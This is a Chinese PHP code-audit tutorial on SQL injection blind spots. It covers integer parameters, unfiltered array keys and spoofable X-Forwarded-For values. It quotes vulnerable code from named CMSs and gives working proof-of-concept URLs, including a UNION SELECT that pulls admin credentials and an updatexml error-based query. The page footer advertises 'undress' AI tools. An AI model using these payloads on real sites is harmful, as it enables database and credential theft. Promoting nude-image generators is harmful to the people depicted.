Table of Contents
0x01 背景
0x02 环境搭建
0x03 漏洞分析
数组类型,全局防护只过滤了value,key未过滤带入了查询
SERVER变量未过滤
Home Backend Development PHP Tutorial 【PHP代码审计】那些年我们一起挖掘SQL注入-6.全局防护盲点的总结上篇

【PHP代码审计】那些年我们一起挖掘SQL注入-6.全局防护盲点的总结上篇

Jun 20, 2016 pm 12:28 PM

0x01 背景

现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等特殊字符进行转义。但仅仅使用这样的防护是存在很多盲点的,比如最经典的整型参数传递,也即被带入数据库查询的参数是整型、数组中的key没过滤被带入了查询以及全局过滤了GET、POST但没过滤SERVER或COOKIE引发的注入。所以看似有全局防护,实则隐藏了很多“后门”~

盲点如下:

①注入点类似id=1这种整型的参数就会完全无视GPC的过滤;

②注入点包含键值对的,那么这里只检测了value,对key的过滤就没有防护;

③有时候全局的过滤只过滤掉GET、POST和COOKIE,但是没过滤SERVER。

附常见的SERVER变量(具体含义自行百度):QUERY_STRING,X_FORWARDED_FOR,CLIENT_IP,HTTP_HOST,ACCEPT_LANGUAGE

0x02 环境搭建

环境请自行搜寻和搭建吧,从这篇开始只做分析不提供漏洞测试环境~~

0x03 漏洞分析

完全无视GPC的数字型的注入,其实仔细总结下发现还是很多可以学习的地方。

1.传入的参数未做intval转换、构造的sql语句没有单引号保护

这个还是比较常见的,当初笔者挖到过一些,乌云案例 http://www.wooyun.org/bugs/wooyun-2010-065605

1

<?phprequire_once "admin/common.php";require_once(MOBAN_PATH_QZ."header.html");//这里typeid没有做整形转换$typeid=isset($_GET['typeid']) ? $_GET['typeid'] : 1;//sql语句没有单引号保护$type=$db->fetch_array(mysql_query($sql="select * from ".$db->tablepre."newstype where newstypeid=".$typeid));//typeid参数存在注入,数字型;?>

Copy after login

获取管理员账户密码的POC:

1

http://localhost/jdy1.5/typeid.php?typeid=1 and 1=2 UNION SELECT NULL,(select concat(username,0x23,password) from jdy_admin limit 1),NULL,

Copy after login

2.同一参数在第一个sql里做了单引号保护,紧跟第二个忘记加单引号

有幸在Discuz!上看到此类问题,膜拜下雨牛的漏洞 http://www.wooyun.org/bugs/wooyun-2014-079045

简单分析下漏洞原理

首先$itemid经过的第一条SQL语句如下

1

$query = $_SGLOBAL['db']->query('SELECT * FROM '.tname('spacetags').' WHERE itemid=\''.$itemid.'\' AND status=\''.$status.'\'')

Copy after login

$itemid是有单引号保护的并且做了select查询,如果查询有结果才会带入到delete中,如果无结果就不执行delete。在数据库里itemid是int类型存储的,所以这里本意是只能提交数字型才能查询出结果,如果不是提交的数字的话那么就查询不出来结果,就不去执行下面的delete语句了。但是由于mysql的类型转换,因为这里储存的是int类型,所以1xxxxx跟1的查询结果是一样的,如下:

然后后面第二条delete的sql语句如下

1

$_SGLOBAL['db']->query('DELETE FROM '.tname('spacetags').' WHERE itemid='.$itemid.' AND tagid IN ('.simplode($deletetagidarr).') AND status=\''.$status.'\'');

Copy after login

这里忘记加单引号了,根据上图我们可以构造获取数据库用户的POC:

1

http://localhost/sup/dan/supesite/cp.php?ac=news&op=view&itemid=4 and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))#

Copy after login

3.php弱类型语言,判断逻辑错误引发注入

还是雨牛的案例 http://www.wooyun.org/bugs/wooyun-2010-088872

这里只讲下漏洞形成的原理

如上图,弱类型语言在逻辑判断上0<1和0 union select 1<1是等价的,都返回True。

数组类型,全局防护只过滤了value,key未过滤带入了查询

程序员往往在对数组的处理上不够严谨,导致会出现此类漏洞,笔者当年有幸挖到过ShopEx旗下的ecmall存在这类漏洞,链接:

http://www.wooyun.org/bugs/wooyun-2010-065284

由于上面那个案例跟序列化相关且过程较为复杂,这里引用乌云另外一则案例: http://www.wooyun.org/bugs/wooyun-2010-069746 ,简要分析这个案例,我们首先看下对数组进行处理的函数:

1

$_POST=Add_S($_POST);$_GET=Add_S($_GET);$_COOKIE=Add_S($_COOKIE);... ...function Add_S($array){ foreach($array as $key=>$value){     if(!is_array($value)){          $value=str_replace("&#x","& # x",$value);   //过滤一些不安全字符         $value=preg_replace("/eval/i","eva l",$value);  //过滤不安全函数           !get_magic_quotes_gpc() && $value=addslashes($value);           $array[$key]=$value;        }else{          $array[$key]=Add_S($array[$key]);       }   }   return $array;

Copy after login

可以看到对数组的value进行了严格的过滤和addlashes转义,但对key没有任何过滤操作,然后我们全局搜索关键词“$key=>$value”,发现如下代码$key被带入了查询

1

elseif($job=='manage'){ if(!$atc_power)showerr("你没权限"); if($rsdb[pages]<2){      header("location:post.php?job=edit&aid=$aid∣=$mid&only=$only");exit;    }   $erp=get_id_table($aid);    if($step==2){       asort($orderDB);        $i=0;       foreach( $orderDB AS $key=>$value){          $i++;           $db->query("UPDATE {$pre}reply$erp SET orderid=$i WHERE aid='$aid' AND rid='$key'");     }

Copy after login

构造获取管理员账户密码的POC如下图:

其它案例: http://www.wooyun.org/bugs/wooyun-2014-071516

SERVER变量未过滤

常常发生在获取用户ip并入库的函数上,类似如下代码:

1

//获取访问者IP(PHP代码/函数) function get_ip(){  if(getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"),"unknown")){   $ip=getenv("HTTP_CLIENT_IP"); }else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"),"unknown")){    $ip=getenv("HTTP_X_FORWARDED_FOR");   }else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"),"unknown")){      $ip=getenv("REMOTE_ADDR");    }else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],"unknown")){    $ip=$_SERVER['REMOTE_ADDR'];  }else{    $ip="unknown" ;   }   return $ip;  }

Copy after login

发现通过$_SERVER变量获取客户端ip且可以通过X_FORWARDED_FOR伪造,然后这里对X_FORWARDED_FOR是没有任何正则处理的,所以我们全局搜索下get_ip函数发现有一些调用并且入库的地方。

program/index/receive/login.php处代码为例:

1

//这里使用get_ip函数获取客户ip$ip=get_ip();//这里入库,所以可以注入了$sql="update ".$pdo->index_pre."user set `last_time`='$time',`last_ip`='$ip' where `id`='".$_SESSION['monxin']['id']."'";$pdo->exec($sql);$sql="select count(id) as c from ".$pdo->index_pre."user_login where `userid`='".$_SESSION['monxin']['id']."'";$stmt=$pdo->query($sql,2);$v=$stmt->fetch(2);if($v['c']<self::$config['other']['user_login_log']){    $sql="insert into ".$pdo->index_pre."user_login (`userid`,`ip`,`time`,`position`) values ('".$_SESSION['monxin']['id']."','$ip','$time','".get_ip_position($ip)."')";}else{  $sql="select `id` from ".$pdo->index_pre."user_login where `userid`='".$_SESSION['monxin']['id']."' order by time asc limit 0,1";    $stmt=$pdo->query($sql,2);   $v=$stmt->fetch(2);  $sql="update ".$pdo->index_pre."user_login set `ip`='$ip',`time`='$time' where `id`='".$v['id']."'";}$pdo->exec($sql);

Copy after login

案例: http://www.wooyun.org/bugs/wooyun-2010-0173485

原文地址: http://www.cnbraid.com/2016/04/29/sql5/

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

Explain JSON Web Tokens (JWT) and their use case in PHP APIs. Explain JSON Web Tokens (JWT) and their use case in PHP APIs. Apr 05, 2025 am 12:04 AM

JWT is an open standard based on JSON, used to securely transmit information between parties, mainly for identity authentication and information exchange. 1. JWT consists of three parts: Header, Payload and Signature. 2. The working principle of JWT includes three steps: generating JWT, verifying JWT and parsing Payload. 3. When using JWT for authentication in PHP, JWT can be generated and verified, and user role and permission information can be included in advanced usage. 4. Common errors include signature verification failure, token expiration, and payload oversized. Debugging skills include using debugging tools and logging. 5. Performance optimization and best practices include using appropriate signature algorithms, setting validity periods reasonably,

How does session hijacking work and how can you mitigate it in PHP? How does session hijacking work and how can you mitigate it in PHP? Apr 06, 2025 am 12:02 AM

Session hijacking can be achieved through the following steps: 1. Obtain the session ID, 2. Use the session ID, 3. Keep the session active. The methods to prevent session hijacking in PHP include: 1. Use the session_regenerate_id() function to regenerate the session ID, 2. Store session data through the database, 3. Ensure that all session data is transmitted through HTTPS.

Describe the SOLID principles and how they apply to PHP development. Describe the SOLID principles and how they apply to PHP development. Apr 03, 2025 am 12:04 AM

The application of SOLID principle in PHP development includes: 1. Single responsibility principle (SRP): Each class is responsible for only one function. 2. Open and close principle (OCP): Changes are achieved through extension rather than modification. 3. Lisch's Substitution Principle (LSP): Subclasses can replace base classes without affecting program accuracy. 4. Interface isolation principle (ISP): Use fine-grained interfaces to avoid dependencies and unused methods. 5. Dependency inversion principle (DIP): High and low-level modules rely on abstraction and are implemented through dependency injection.

How to automatically set permissions of unixsocket after system restart? How to automatically set permissions of unixsocket after system restart? Mar 31, 2025 pm 11:54 PM

How to automatically set the permissions of unixsocket after the system restarts. Every time the system restarts, we need to execute the following command to modify the permissions of unixsocket: sudo...

How to debug CLI mode in PHPStorm? How to debug CLI mode in PHPStorm? Apr 01, 2025 pm 02:57 PM

How to debug CLI mode in PHPStorm? When developing with PHPStorm, sometimes we need to debug PHP in command line interface (CLI) mode...

Explain late static binding in PHP (static::). Explain late static binding in PHP (static::). Apr 03, 2025 am 12:04 AM

Static binding (static::) implements late static binding (LSB) in PHP, allowing calling classes to be referenced in static contexts rather than defining classes. 1) The parsing process is performed at runtime, 2) Look up the call class in the inheritance relationship, 3) It may bring performance overhead.

How to send a POST request containing JSON data using PHP's cURL library? How to send a POST request containing JSON data using PHP's cURL library? Apr 01, 2025 pm 03:12 PM

Sending JSON data using PHP's cURL library In PHP development, it is often necessary to interact with external APIs. One of the common ways is to use cURL library to send POST�...

See all articles